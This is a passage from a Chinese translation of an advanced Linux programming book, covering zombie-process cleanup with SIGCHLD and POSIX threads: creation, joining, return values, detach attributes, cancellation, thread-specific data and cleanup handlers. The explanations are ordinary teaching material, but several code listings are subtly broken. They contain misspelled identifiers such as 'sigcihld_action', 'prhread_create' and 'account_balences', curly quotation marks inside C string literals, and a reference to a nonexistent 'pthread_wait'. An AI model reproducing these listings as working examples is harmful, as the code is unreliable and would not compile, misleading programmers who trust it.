ID、进程状态和进程命令行。观察结果,发现除了父进 程 make-zombie 之外,还有一个 make-zombie 出现在列表中。这是子进程;注意它的父进 程 ID 就是第一个 make-zombie 进程的 ID。子进程被标记为<defunct>而且它的状态代码为 Z,表示僵尸(Zombie)。 如果 make-zombie 进程退出而没有调用 wait 会出现什么情况?僵尸进程会停留在系统 中吗?不——试着再次运行 ps,你会发现两个 make-zombie 进程都消失了。当一个程序退 出,它的子进程被一个特殊进程继承,这就是 init 进程。Init 进程总以进程 ID 1 运行(它 是 Linux 启动后运行的第一个进程)。Init 进程会自动清理所有它继承的僵尸进程。 3.4.4 异步清理子进程 如果你创建一个子进程只是简单的调用 exec 运行其它程序,在父进程中立刻调用 wait 进行等待并没有什么问题,只是会导致父进程阻塞等待子进程结束。但是,很多时候你希望 在子进程运行的同时,父进程继续并行运行。怎么才能保证能清理已经结束运行的子进程而 不留下任何僵尸进程在系统中浪费资源呢? 一种解决方法是让父进程定期调用 wait3 或 wait4 以清理僵尸子进程。在这种情况调 用 wait 并不合适,因为如果没有子进程结束,这个调用会阻塞直到子进程结束为止。然而, 你可以传递 WNOHANG 标志给 wait3 或 wait4 函数作为一个额外的参数。如果设定了这 个标志,这两个函数将会以非阻塞模式运行——如果有结束的子进程,它们会进行清理;否 则会立刻返回。第一种情况下返回值是结束的子进程 ID,否则返回 0。 另外一种更漂亮的解决方法是当一个子进程结束的时候通知父进程。有很多途径可以做 到这一点;在第五章“进程间通信”介绍了这些方法,不过幸运的是 Linux 利用信号机制替 你完成了这些。当一个子进程结束的时候,Linux 给父进程发送 SIGCHLD 信号。这个信号 的默认处理方式是什么都不做;这也许是为什么之前你忽略了它的原因。 www.AdvancedLinuxProgramming.com 48 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 因此,一个简单的清理结束运行的子进程的方法是响应 SIGCHLD 信号。当然,当清 理子进程的时候,如果需要相关信息,一个很重要的工作就是保存进程退出状态,因为一旦 用 wait 清理了进程,就再也无法得到这些信息了。列表 3.7 中就是一个利用 SIGCHLD 信 号处理函数清理子进程的程序代码。 代码列表 3.7 (sigchld.c)利用 SIGCHLD 处理函数清理子进程 #include <signal.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> sig_atomic_t child_exit_status; void clean_up_child_process (int signal_number) { /* 清理子进程。*/ int status; wait (&status); /* 在全局变量中存储子进程的退出代码。*/ child_exit_status = status; } int main () { /* 用 clean_up_child_process 函数处理 SIGCHLD。*/ struct sigaction sigcihld_action; memset (&sigchld_action, 0, sizeof (sigchld_action)); sigcihld_action.sa_handler = &clean_up_child_process; sigaction (SIGCHLD, &sigchld_action, NULL); /* 现在进行其它工作,包括创建一个子进程。*/ /* ... */ return 0; } 注意信号处理函数中将进程退出代码保存到了全局变量中,从而可以在主程序中访问 它。因为这个变量在信号处理函数中被赋值,我们将它声明为 sig_atomic_t 类型。 www.AdvancedLinuxProgramming.com 49 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 第四章:线程 线程,不同于进程,是一种允许一个程序同时执行不止一个任务的机制。于进程相似, 不同线程看起来是并行运行的;Linux 核心对它们进行异步调度,不断中断它们的执行以给 其它线程执行的机会。 概念上,线程出现在进程中。相比进程,线程是一种更细粒度的执行单元。当你调用一 个程序,Linux 创建一个新进程,并且在那个新进程中创建一个线程;这个线程依序执行程 序。这个线程可以创建更多的线程;所有这些线程在同一个进程中执行同一个程序,但是每 个线程在特定时间点上可能分别执行这个程序的不同部分。 我们已经看到一个进程如何创建新进程。子进程开始时候运行父进程的程序,并且从父 进程处复制了虚拟内存、文件描述符和其它信息。子进程可以修改自己的内存、关闭文件描 述符、执行其它各种操作,但是这些操作不会影响父进程;反之亦然。不过,当一个程序创 建了一个线程时并不会复制任何东西。创建和被创建的线程同先前一样共享内存空间、文件 描述符和其它各种系统资源。例如,当一个线程修改了一个变量的值,随后其它线程就会看 到这个修改过的值。相似的,如果一个线程关闭了一个文件描述符,其它线程也无法从这个 文件描述符进行读或写操作。因为一个进程中所有线程只能执行同一个程序,如果任何一个 线程调用了一个 exec 函数,所有其它线程就此终止(当然,新的程序也可以创建线程)。 GNU/Linux 实现了 POSIX 标准线程 API(所谓 pthreads)。所有线程函数和数据类型 都在 <pthread.h> 头文件中声明。这些线程相关的函数没有被包含在 C 标准库中,而是在 libpthread 中,所以当链接程序的时候需在命令行中加入 -lpthread 以确保能正确链接。 4.1 创建线程 进程中的每个线程都以线程 ID 标识。在 C 或 C++ 程序中,线程 ID 被表示为 pthread_t 类型的值。 创建线程时,每个线程都开始执行一个线程函数。这只是一个普通的函数,包含了线程 应执行的代码;当函数返回的时候,线程也随之结束。在 GNU/Linux 系统中,线程函数接 受一个 void* 类型的参数,并且返回 void* 类型。这个参数(parameter)被称为线程参数 (thread argument):GNU/Linux 系统不经查看直接将它传递给线程。你的程序可以利用这 个参数给新线程传递数据。相似的,你的线程可以利用返回值给它的创建者线程返回数据。 函数 pthread_create 负责创建新线程。你需要给它提供如下信息: 1、一个指向 pthread_t 类型变量的指针;新线程的线程 ID 将存储在这里。 2、一个指向线程属性(thread attribute)对象的指针。这个对象控制着新线程与程序其 它部分交互的具体细节。如果传递 NULL 作为线程属性,新线程将被赋予一组默认线程属 性。线程属性在 4.1.5 节“线程属性”中有更多讨论。 3、一个指向线程函数的指针。这是一个普通的函数指针,类型如下: void* (*) (void*) 4、一个线程参数,类型 void*。不论你传递什么值作为这个参数,当线程开始执行的 时候,它都会被直接传递给新的线程。 函数 pthread_create 会在调用后立刻返回,原线程会继续执行之后的指令。同时,新 线程开始执行线程函数。Linux 异步调度这两个线程,因此你的程序不能依赖两个线程得到 执行的特定先后顺序。 www.AdvancedLinuxProgramming.com 50 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 列 表 4.1 中 的 程 序 创 建 一 个 不 断 输 出 x 到 标 准 错 误 输 出 的 线 程 。 在 执 行 pthread_create 之后,主线程不断输出 o 到标准错误输出。 列表 4.1 (thread-create.c) 创建线程 #include <pthread.h> #include <stdio.h> /* 打印 x 到错误输出。没有使用参数。不返回数据。*/ void* print_xs (void* unused) { while (1) fputc ('x', stderr); return NULL; } /* 主程序 */ int main () { pthread_t thread_id; /* 传教新线程。新线程将执行 print_xs 函数。*/ pthread_create (&thread_id, NULL, *print_xs, NULL); /* 不断输出 o 到标准错误输出。*/ while (1) fputc ('o', stderr); return 0; } 使用以下命令编译链接这个程序: % cc -o thread-create thread-create.c -lpthread 试着执行看看会发生什么。注意这个没有规律的 x 和 o 的交替输出,这表示 Linux 不 断调度两个线程。 在一般状况下,一个线程有两种退出方式。一种方式,如先前所示,是从线程函数中返 回以退出线程。线程函数的返回值也被作为线程的返回值。另一种方式则是线程显式调用 pthread_exit。这个函数可以直接在线程函数中调用,也可以在其它直接、间接被线程函数 调用的函数中调用。调用 pthread_exit 的参数就是线程的返回值。 4.1.1 给线程传递数据 线程参数提供了一种为新创建的线程传递数据的简便方式。因为参数是 void*,你无法 www.AdvancedLinuxProgramming.com 51 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 通过参数本身直接传递大量数据,而应使用线程参数传递一个指向某个数据结构或数组的指 针。一个常用的技巧是给线程函数定义一个结构以包含线程函数所期待的实际参数序列。 利用线程参数可以很轻易地重用一个线程函数创建许多线程。所有这些线程可以针对不 同的数据执行相同的操作。 列表 4.2 中的程序与前一个例子非常相似。这个程序会创建两个新线程,一个输出 x 而另一个输出 o。不同于之前的不停输出,每个线程输出固定的字符数之后就从线程函数中 返回以退出线程。同一个函数 char_print 在两个线程中均被执行,但是程序为每个线程指 定不同的 struct char_print-parms 实例作为参数。 代码列表 4.2 (thread-create2) 创建两个线程 #include <pthread.h> #include <stdio.h> /* print_function 的参数 */ struct char_print_parms { /* 用于输出的字符 */ char character; /* 输出的次数 */ int count; }; /* 按照 PARAMETERS 提供的数据,输出一定数量的字符到 stderr。 PARAMETERS 是一个指向 struct char_print_parms 的指针 */ void* char_print (void* parameters) { /* 将参数指针转换为正确的类型 */ struct char_print_parms* p = (struct char_print_parms*) parameters; int i; for (i = 0; i < p->count; ++i) fputc (p->character, stderr); return NULL; } /* 主程序 */ int main () { pthread_t thread1_id; pthread_t thread2_id; www.AdvancedLinuxProgramming.com 52 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 struct char_print_parms thread1_args; struct char_print_parms thread2_ars; /* 创建一个线程输出 30000 个 x */ thread1_args.character = 'x'; thread1_args.count = 30000; pthread_create (&thread1_id, NULL, &char_print, &thread1_args); /* 创建一个线程输出 20000 个 o */ thread2_args.character = 'o'; thread2_args.count = 20000; pthread_create (&thread2_id, NULL, &char_print, &thread2_args); return 0; } 不过,且慢!列表 4.2 中的程序有一个严重的错误。主线程(就是执行 main 函数的 线程)将线程参数结构(thread1_args 和 thread2_args)创建为局部变量,然后将指向它们 的指针传递给创建的线程。如何防止 Linux 调度这三个线程,使 main 在另外两个线程结束 之前结束?没有办法!一旦这个情况发生,包含线程参数结构的内存将在被两个线程访问的 同时被释放。 4.2.2 等待线程 (原文:Joining Threads) 一个解决办法是强迫 main 函数等待另外两个线程的结束。我们需要一个类似 wait 的函 数,但是等待的是线程而不是进程。这个函数是 pthread_join。它接受两个参数:线程 ID, 和一个指向 void*类型变量的指针,用于接收线程的返回值。如果你对线程的返回值不感兴 趣,则将 NULL 作为第二个参数。 前面提到,列表 4.2 中的程序有错误;而现在列表 4.3 展示了正确的版本。在这个版本 中,main 在输出 x 和 o 的两个线程完成——因此不会再引用参数——之后才会退出。 列表 4.3 主函数修订版 thread-create2.c int main () { pthread_t thread1_id; pthread_t thread2_id; struct char_print_parms thread1_args; struct char_print_parms thread2_args; /* 创建一个输出 30000 个 x 的线程 */ hread1_args.character = 'x'; thread1_args.count = 30000; prhread_create (&thread1_id, NULL, &char_print, &thread1_args); www.AdvancedLinuxProgramming.com 53 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 /* 创建一个输出 20000 个 o 的线程 */ thread2_args.character = 'o'; thread2_args.count = 20000; pthread_create (&thread2_id, NULL, &char_print, &thread2_args); /* 确保第一个线程结束 */ pthread_join (thread1_id, NULL); /* 确保第二个线程结束 */ pthread_join (thread2_id, NULL); /* 现在我们可以安全地返回 */ return 0; } 这个故事的教训:一旦你将对某个数据变量的引用传递给某个线程,务必确保这个变量 在不会被释放(甚至在其它线程中也不行!),直到你确定这个线程不会再使用它。这对于局 部变量(当生命期结束的时候自动释放)和堆上分配的对象(通过 free 或者 C++的 delete 手工释放)同样适用。 4.1.3 线程返回值 如果传递给pthread_join的第二个参数不是 NULL,则线程返回值会被存储在这个指针 指向的内存空间中。线程返回值,与线程变量一样,也是void*类型。如果你想要返回一个 int或者其它小数字,你可以简单地把这个数值强制转换成void*指针并返回,并且在调用 pthread_join之后把得到的结果转换回相应的类型 1。 列表 4.4 中的程序在一个单独线程中计算第 n 个质数。这个线程会将得到的质数作为 返回值传回主线程。与此同时,主线程可以执行其它的代码。注意,compute_prime 函数中 使用的连续进行除法的算法是非常低效的;如果你需要在你的程序中计算很多质数,请参考 有关数值算法的书。 列表 4.4 (primes.c) 在线程中计算质数 #include <pthread.h> #include <stdio.h> /*(非常低效地)计算连续的质数。返回第 N 个质数。N 是由 *ARG 指向的参数。*/ void* compute_prime (void* arg) { int candidate = 2; int n = *((int*) arg); www.AdvancedLinuxProgramming.com 54 1 注意,这样的代码是不可移植的,并且你必须自己保证所传递的数据类型在与 void* 之间来回转换不 会导致位的丢失。 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 while (1) { int factor; int is_prime = 1; /*用连续除法检测是否为质数。*/ for (factor = 2; factor < candidate; ++factor) if (candidate % factor == 0) { is_prime = 0; break; } /*这个质数是我们寻找的么? */ if (is_prime) { if (--n == 0) /*将所求的质数作为线程返回值传回。*/ return (void*) candidate; } ++candidate; } return NULL; } int main () { pthread_t thread; int which_prime = 5000; int prime; /*开始计算线程,求取第 5000 个质数。*/ pthread_create (&thread, NULL, &compute_prime, &which_prime); /*在这里做其它的工作……*/ /*等待计算线程的结束,并且取得结果。*/ pthread_join (thread, (void*) &prime); /*输出所求得的最大质数。*/ printf("The %dth prime number is %d.\n", which_prime, prime); return 0; } 4.1.4 关于线程 ID 的更多信息 有时候,一段代码需要确定是哪个线程正在执行到这里。可以通过 pthread_self 函数获 取调用线程 ID。所得到的线程 ID 可以用 pthread_equal 函数与其它线程 ID 进行比较。 这些函数可以用于检测当前线程 ID 是否为一特定线程 ID。例如,一个线程利用 pthread_join 等待自身是错误的。 (在这种情况下,pthread_join 会返回错误码 EDEADLK。) www.AdvancedLinuxProgramming.com 55 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 要事前发现这个情况,可以用这样的代码进行判断: if (!pthread_equal (pthread_self (), other_thread)) pthread_join (other_thread, NULL); 4.1.5 线程属性 线程属性提供了一种可以用于在细粒度调整线程行为方式的机制。试着回忆一下, pthread_create 函数接受一个指向线程属性对象的指针。如果你传递 NULL 指针,默认线程 属性被用于配置新线程。同时,你也可以通过创建并且传递一个线程属性对象来指明属性中 的一些值。 要指明自定义的线程属性,你必须参照以下步骤: 1. 创建一个 pthread_attr_t 对象。最简单的方法是声明一个该类型的自动变 量。 2. 调用 pthread_attr_init,传递一个指向新创建对象的指针。这个步骤将各 个属性置为默认值。 3. 修改这个对象,使各个属性包含期望的值。 4. 在调用 pthread_create 的时候,传递一个指向该对象的指针。 5. 调用 pthread_attr_destroy 释放这个属性对象。这个 pthread_attr_t 对象 本身不会被释放;可以通过 pthread_attr_init 将其重新初始化。 一个单独线程对象可以用于创建许多线程。在创建线程之后没有必要保持线程属性对 象。 对于多数 GNU/Linux 应用程序而言,一般只有一个线程属性会显得有趣(其它的主要 属性均针对实时程序)。这个属性就是线程的脱离状态(detach state)。一个线程可以创建为 一个可等待线程(joinable thread)(默认情况)或者一个脱离线程(detached thread)。一个 可等待线程,类似一个进程,在结束的时候不会被 GNU/Linux 系统自动清理。相反的,它 的退出状态停留在系统中(某种程度来说,类似一个僵尸进程)直到另外某个线程调用 pthread_join 获取它的返回值。直到这时,它的资源才被释放。与此不同的是,一个脱离线 程在结束的时候会被自动清理。因为脱离线程会被立刻清理,其它线程无法与它的结束事件 进行同步,也无法获取其返回值。 可以使用 pthread_attr_setdetachstate 函数设置脱离属性。第一个参数是一个指向线程 属性对象的指针,第二个参数是脱离状态。因为可等待状态是默认的,只有创建脱离线程的 时候才需要调用这个函数;传递 PTHREAD__CREATE__DETACHED 作为第二个参数。 列表 4.5 中的代码通过修改线程属性创建一个脱离线程。 列表 4.5 (detached.c) 创建脱离线程的原型程序 #include <pthread.h> void* thread_function (void* thread_arg) { /* 这里完成工作……*/ } www.AdvancedLinuxProgramming.com 56 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 int main () { pthread_attr_t attr; pthread_t thread; pthread_attr_init (&attr); pthread_attr_setdetachstate (&attr, PTHREAD_CREATE_DETACHED); pthread_create (&thread, &attr, &thread_function, NULL); pthread_attr_destroy (&attr); /* 进行其它工作……*/ /* 不需要等待第二个线程 */ return 0; } 即使一个线程是创建成为一个可等待线程,它也可以随后转换成一个脱离线程。调用 pthread_detach 进行这个转换过程。一旦线程成为脱离线程,它将无法转换会可等待状态。 4.2 线程取消 一般情况下,一个线程在它正常结束(通过从线程函数返回或者调用 pthread_exit 退出) 的时候终止。但是,一个线程可以请求另外一个线程中止。这被成为取消一个线程。 要取消一个线程,以被取消的线程 ID 作为参数调用 pthread_cancel。一个被取消的线 程可以稍后被其它线程等待;实际上,你应该对一个被取消的线程执行 pthread_wait 以释 放它占用的资源,除非这个线程是脱离线程(参考 4.1.5 节,“线程属性”)。一个取消线程的 返回值由特殊值 PTHREAD_CANCELED 指定。 经常,线程可能运行在一段不可分割的代码中,必须全部得到执行或者干脆不执行。例 如,线程可能分配一些资源,使用并稍后释放它们。如果线程在中途被取消,它可能没有机 会释放那些被分配的资源,从而导致资源的泄漏。为防止这种情况发生,一个线程可以控制 自身是否可以被取消,以及何时允许取消操作。 对于线程取消而言,一个线程可能处于如下三种情况之一: · 线程可以被异步取消(asynchronously cancelable)。线程可以在执行中的 任意时刻被取消。 · 线程可以被同步取消(synchronously cancelable)。线程可以被取消,但是 不是在任意时刻都可以。相反的,取消请求会被排队,而线程只有在到达特殊的执 行点才会执行取消操作。 · 线程不可被取消(uncancelable)。尝试取消线程的请求会被直接忽略。 当一个线程刚被建立的时候,它处于可同步取消状态。 4.2.1 同步和异步线程 一个可异步取消的线程可在它执行过程中的任意时刻被取消。一个可同步取消的线程, www.AdvancedLinuxProgramming.com 57 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 概念上来说,只能在执行过程中的特定位置被取消。这些位置被称为取消点(cancellation points)。线程会将取消请求排队,直到到达下一个取消点再由程序处理。 可以通过调用 pthread_setcanceltype 使一个线程进入允许被异步取消的状态。这个函数 作用于调用它的线程。第一个参数可以是常量 PTHREAD_CANCEL_ASYNCHRONOUS, 表示将线程设置为可异步取消状态;或者是 PTHREAD_CANCEL_DEFERRED,将线程设 置回可同步取消状态。如果第二个参数不为空,则它指向的变量将保存线程的前一个取消类 型。下面例子中的代码将线程设置为异步取消状态: pthread_setcanceltype (PTHREAD_CANCEL_ASYNCHRONOUS, NULL); 取消点究竟是什么?它们应该被放置在哪里?最直接的创建一个取消点的方法是调用 pthread_testcancel。这个函数的唯一工作就是在一个可同步取消的线程中处理一个没有被处 理的线程取消请求。如果一个线程要执行长时间的计算过程,则应该定期在线程取消不会导 致资源泄露或产生其它负面影响的情况下调用 pthread_testcancel。 还有部分函数可以作为隐式的取消点。在 pthread_cancel 的手册页中有这些函数的列 表。需要注意的是,其它函数可能因为调用这些函数而间接成为取消点。 4.2.2 不可取消的临界区 线 程 可 以 利 用 pthread_setcancelstate 函 数 完 全 禁 止 自 己 被 取 消 。 类 似 于 pthread_setcanceltype,这个函数作用于调用线程。如果将 PTHREAD_CANCEL_DISABLE 作为第一个参数,则线程取消操作将被禁止;如果是 PTHREAD_CANCEL_ENABLE 则线 程取消被重新允许。第二个参数如果不为空,则指向的变量将保存线程的前一个线程取消状 态。下面例子中的代码将禁止线程取消: pthread_setcancelstate (PTHREAD_CANCEL_DISABLE, NULL); 程序可以利用 pthread_setcancelstate 实现临界区。临界区指的是一段必须完整执行或 者完全不执行的代码;换言之,一旦一个线程进入临界区,在到达临界区终点之前它将无法 被取消。 举个例子,假设你正在实现一个银行程序中负责在帐户之间转移款项的一部分。要实现 这一点,你必须在给一个帐户的余额中加上一个值的同时从另外一个帐户中扣除相同的值。 如果运行这一段过程的线程很不巧地在这两个操作之间被取消,事务的中断会错误地导致银 行的总储蓄额提高。要防止这种情况的发生,应将这两个操作放在一个临界区中。 你可以实现将整个传输过程封装在一个 process_transaction 函数中,如列表 4.6 中这样。 这个函数禁用线程取消以进入一个临界区,然后才操作帐户。 列表 4.6 (critical-section.c) 用临界区保护银行事务 #include <pthread.h> #include <stdio.h> #include <string.h> /* 表示帐户结余的数组,以帐户号码为序列 */ float* account_balances; www.AdvancedLinuxProgramming.com 58 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 /* 将 DOLLARS 从 FROM_ACCT 帐户转移到 TO_ACCT。如果成功, 返回 0;如果 FROM_ACCT 的结余过低则返回 1。 */ int process_transaction (int from_acct, int to_acct, float dollars) { int old_cancel_state; /* 检查 FROM_ACCT 的结余。 */ if (account_balences[from_acct] < dollars) return 1; /* 进入临界区 */ pthread_setcancelstate (PTHREAD_CANCEL_DISABLE, &old_cancel_state); /* 进行余额的转移 */ account_balances[to_acct] += dollars; account_balances[from_acct] -= dollars; /* 退出临界区 */ pthread_setcancelstate (old_cancel_state, NULL); return 0; } 注意在退出临界区的时候应恢复线程取消状态到进入临界区之前的状态,而不是无条件 地将线程取消状态设置为 PTHREAD_CANCEL_ENABLE。这样可以使从一个临界区中调 用 process_transaction 的情况安全不出错——在这种情况下,这个函数会将线程取消状态恢 复到调用之前的状态。 4.2.3 何时使用线程取消 通常来说,除非特殊情况,不应使用线程取消结束一个线程的执行。通常情况下,当需 要线程退出的情况下通知线程然后等待线程自动退出才是更好的策略。我们将在本章的随后 内容中,以及第五章“进程间通信”中讨论线程通信的技术。 4.3 线程专有数据(Thread-Specific Data) 与进程不同,一个程序中的所有线程运行在同一个地址空间中。着表示如果一个线程修 改了内存中的一个位置(例如,一个全局变量),则其它所有线程都会发现这个变化。因此 多个线程可以同时操作同一块数据而不依赖进程间通信技术(在第五章中介绍了这些技术)。 尽管数据是共享的,每个线程都有单独的调用堆栈。因此每个线程都可以单独执行自己 的代码,不加变化地调用子程序、从子程序返回。与在单线程程序中一样,每个线程每次调 用子程序都会创造一组自己的局部变量;这些变量保存在线程自己的栈上。 不过有时仍然需要将一个变量复制给每个线程一个副本。GNU/Linux 系统通过为每个 www.AdvancedLinuxProgramming.com 59 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 线程提供一个线程专有数据区(thread-specific data area)。当数据被存放在这个区域时会自 动为每个线程创建一个副本;当一个线程修改自己的副本的时候并不会影响其它线程的副 本。因为所有的线程共享一个地址空间,线程专有数据不能通过普通的内存地址引用进行访 问。GNU/Linux 系统提供了一系列函数用于读取和设置线程专有数据的值。 你想创建多少线程专有数据对象都可以;它们的类型都是 void*。每个数据对象都通过 一个键值进行映射。要创建一个新键值从而为每个线程新创建一个数据对象,调用 pthread_key_create 函数。第一个参数是一个指向 pthread_key_t 类型变量的指针。新创建 的键值将被保存在这个变量中(译者注:这句在原文中缺失,根据上下文意思以及 pthread_key_create(2) 手册页补充)。随后,这个键值可以被任意线程用于访问对应数据对象 的属于自己的副本。传递给 pthread_key_create 的第二个参数是一个清理函数,如果你在这 里传递一个函数指针,则 GNU/Linux 系统将在线程退出的时候以这个键值对应的数据对象 为参数自动调用这个清理函数。清理函数非常有用,因为即使当线程在任何一个非特定运行 时刻被取消,这个线程函数也会被保证调用。如果对应的数据对象是一个空指针,清理函数 将不会被调用。如果你不需要调用清理函数,你可以在这里传递空指针。 创建了键值之后,可以通过调用 pthread_setspecific 设定相应的线程专有数据值。第一 个参数是键值,而第二个参数是一个指向要设置的数据的 void*指针。以键值为参数调用 pthread_getspecific 可重新获取一个已经设置的线程专有数据。 假设这样一种情况,你的程序将一个任务分解以供多个线程执行。为了进行审计,每个 线程都将分配一个单独的日志文件,用于记录对应线程的任务完成进度。线程专有数据区是 为每个单独线程保存对应的日志文件指针的最方便的地点。 列表 4.7 展示了实现这个目标的一种方法。在这个例子中,main 函数创建了一个用于 保存日志文件指针的线程专有数据区,随后将标识这个数据区的键值保存在 thread_log_key 中。因为 thread_log_key 是一个全局变量,所有线程共享对它的访问。每当一个线程开始 执行的时候均会打开一个日志文件并由这个键值进行映射。之后,任何一个线程均可调用 write_to_thread_log 函数将一条信息写入线程对应的日志文件中。这个函数从线程专有数据 中获取文件指针并将信息写入文件。 代码列表 4.7 (tsd.c)通过线程专有数据实现的每线程日志 #include <malloc.h> #include <pthread.h> #include <stdio.h> /* 用于为每个线程保存文件指针的 TSD 键值。*/ static pthread_key_t thread_log_key; /* 将 MESSAGE 写入当前线程的日志中。*/ void write_to_thread_log (const char* message) { FILE* thread_log = (FILE*) pthread_getspecific (thread_log_key); fprintf (thread_log, “%s\n”, message); } /* 将日志文件指针 THREAD_LOG 关闭。*/ void close_thread_log (void* thread_log) www.AdvancedLinuxProgramming.com 60 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 { fclose ((FILE*) thread_log); } void* thread_function (void* args) { char thread_log_filename[20]; FILE* thread_log; /* 生成当前线程使用的日志文件名。*/ sprintf (thread_log_filename, “thread%d.log”, (int) pthread_self ()); /* 打开日志文件。*/ thread_log = fopen (thread_log_filename, “w”); /* 将文件指针保存在 thread_log_key 标识的 TSD 中。*/ pthread_setspecific (thread_log_key, thread_log); write_to_thread_log (“Thread starting.”); /* 在这里完成线程任务……*/ return NULL; } int main () { int i; pthread_t threads[5]; /* 创建一个键值,用于将线程日志文件指针保存在 TSD 中。 调用 close_thread_log 以关闭这些文件指针。*/ pthread_key_create (&thread_log_key, close_thread_log); /* 创建线程以完成任务。*/ for (i = 0; i < 5; ++i) pthread_create (&(threads[i]), NULL, thread_function, NULL); /* 等待所有线程结束。*/ for (i = 0; i < 5; ++i) pthread_join (threads[i], NULL); return 0; } 我们看到,thread_function 不需要关闭日志文件。这是因为当 TSD 键值被创建的时候 我们将 close_thread_log 指定为这个 TSD 的清理函数。当线程退出的时候,GNU/Linux 将 以 thread_log_key 所映射的值作为参数调用这个函数。这个函数会负责关闭文件指针。 www.AdvancedLinuxProgramming.com 61 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 4.3.1 清理句柄 线程专有数据的清理函数可以很有效地防止在线程退出或被取消的时候出现资源泄漏 的问题。不过在有些情况下,我们希望创建一个清理函数却不希望为每个线程创建一个线程 专有数据对象。出于这种需求,GNU/Linux 提供了清理句柄。 清理句柄就是一个当线程退出时被自动调用的函数。清理句柄函数接受一个 void*类型 的参数,且这个参数在注册清理句柄的时候被同时确定——这样就可以很方便地允许用同一 个清理函数清理多份资源实例。 清理句柄是一个临时性的工具,只在当线程被取消或中途退出而不是正常结束运行的时 候被调用。在一般情况下,程序应该显式释放分配的资源并清除已经设置的清理句柄。 通过提供两个参数(一个指向清理函数的函数指针和一个作为清理函数参数的 void*类 型的值)调用 pthread_cleanup_push 可以创建一个清理句柄。对 pthread_cleanup_push 的 调用可以通过调用 pthread_cleanup_pop 进行平衡:pthread_cleanup_pop 会取消对一个句 柄的注册。为简便操作起见,pthread_cleanup_pop 函数接受一个 int 类型的参数;如果这 个参数为非零值,则在取消注册这个句柄的同时,清理句柄将被执行。 列表 4.8 中的程序片断展示了通过使用清理句柄确保动态分配的缓存在线程结束的时候 被释放的方法。 代码列表 4.8 (cleanup.c)用于展示清理句柄的程序片断 #include <malloc.h> #include <pthread.h> /* 分配临时缓冲区。*/ void* allocate_buffer (size_t size) { return malloc (size); } /* 释放临时缓冲区。*/ void deallocate_buffer (void* buffer) { free (buffer); } void do_some_work () { /* 分配临时缓冲区。*/ void* temp_buffer = allocate_buffer (1024); /* 为缓冲区注册清理句柄以确保当线程退出或被取消的时候自动释放。*/ pthread_cleanup_push (deallocate_buffer, temp_buffer); www.AdvancedLinuxProgramming.com 62 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 /* 在这里完成一些任务,其中可能出现对 pthread_exit 的调用, 线程也可能在此期间被取消。*/ /* 取消对清理句柄的注册。因为我们传递了一个非零值作为参数, 清理句柄 deallocate_buffer 将被调用以释放缓存。*/ pthread_cleanup_pop (1); } 4.3.2 C++中的线程清理方法 C++程序员习惯于通过将清理代码包装在对象析构函数中以获得“免费”的资源清理(译 者注:C++重要设计原则 RAII,Resource Acquisition is Initialization 即是如此)。当由于当前 块的结束或者由于 C++异常的抛出导致对象的生命期结束的时候,C++确保自动对象的析构 函数(如果存在)会被自动调用。这对确保无论代码块如何结束均能调用清理代码块有很大 的帮助。 但是,如果一个线程运行中调用了 pthread_exit,C++并不能保证线程的栈上所有自动对 象的析构函数将被调用。不过可以通过一个很聪明的方法来获得这个保证:通过抛出一个特 别设计的异常,然后在顶层的栈框架内再调用 pthread_exit 退出线程。 列表 4.9 中的程序展示了这种技巧。通过利用这个技巧,函数通过抛出一个 ThreadExitException 异常而不是直接调用 pthread_exit 来尝试退出线程。因为这个程序在顶 层栈框架内被捕捉,当程序捕捉到异常的时候,所有在栈上分配的自动对象均已被销毁。 代码列表 4.9 (cxx-exit.cpp)利用 C++异常,安全退出线程 #include <pthread.h> class ThreadExitException { public: /* 创建一个通过异常进行通知的线程退出方式。RETURN_VALUE 为线程返回值。*/ ThreadExitException (void* return_value) : thread_return_value_ (return_value) { } /* 实际退出线程。返回值由构造函数中指定。*/ void* DoThreadExit () { pthread_exit (thread_return_value_); } www.AdvancedLinuxProgramming.com 63 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 private: /* 结束线程时将使用的返回值。*/ void* thread_return_value_; }; void do_some_work () { while (1) { /* Do some useful things here... */ if (should_exit_thread_immediately ()) throw ThreadExitException (/* thread’s return value = */ NULL); } } void* thread_function (void*) { try { do_some_work (); } catch (ThreadExitException ex) { /* Some function indicated that we should exit the thread. */ ex.DoThreadExit (); } return NULL; } 4.4 同步和临界代码段 使用线程编程可能需要非常高的技巧,因为多线程程序大多也是并行程序。在这种情况 下程序员无从确认系统调度两个线程所采用的特定顺序。有时可能某个线程会连续运行很长 时间,但系统也可能在几个线程之间飞快地来回切换。在一个多处理器系统中,几个线程可 能如“并行”字面所示,在不同处理器上同时运行。 调试多线程程序可能很困难,因为你可能无法轻易重现导致 bug 出现的情况。可能你某 一次运行程序的时候一切正常,而下一次运行的时候却发现程序崩溃。没有办法让系统完全 按照完全相同的次序调度这些线程。 导致多线程程序出现 bug 的最根本原因是不同线程访问相同的数据。如前所示例,这是 线程最强大的一个特征,但同时也是一个非常危险的特征。如果当一个线程正在更新一个数 据的过程中另外一个线程访问同一个数据,很可能导致混乱的出现。很多有 bug 的多线程程 序中包含一些代码要求某个线程比另外的线程更经常——或更快——被调用才能正常工作。 这种 bug 被称为“竞争状态”;不同线程在更新一个数据结构的过程中出现相互竞争。 www.AdvancedLinuxProgramming.com 64 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 